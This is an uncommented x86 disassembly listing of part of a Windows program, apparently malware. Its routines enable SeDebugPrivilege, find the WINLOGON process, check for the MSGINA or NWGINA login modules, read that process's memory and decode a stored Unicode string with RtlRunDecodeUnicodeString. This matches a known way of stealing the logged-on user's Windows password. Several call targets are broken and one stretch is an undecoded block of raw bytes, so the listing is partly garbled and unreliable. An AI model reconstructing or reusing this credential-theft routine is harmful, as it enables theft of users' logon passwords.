		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22E8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0E890FC75h, 2368DD8h, 8F75C085h, 0E8FC75FFh,	21C8DCCh
		dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850236h
		dd 0E856B175h, 21C8D48h, 1C458B90h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26D0000h
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27C07E1h
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27D05FFh
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27D05FFh
		nop
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26A078Ch
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27F0256h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27E0D43h
		nop
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2770699h
		nop
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2770000h
		nop
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D05FFh
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 2680000h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26A078Ch
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27F0256h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27E0D43h
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27E0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27F0000h
		nop
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27D05FFh
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2680000h


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27E0000h
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27D05FFh
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27E0CDEh
		nop
		push	eax
		nop
		call	near ptr 27E0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		call	near ptr 27E0CDEh
		nop
		push	eax
		nop
		call	near ptr 27D05FFh
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
